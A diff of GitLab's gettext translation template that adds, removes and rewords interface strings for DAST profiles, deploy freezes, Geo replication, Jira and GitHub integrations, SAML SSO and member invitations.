@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
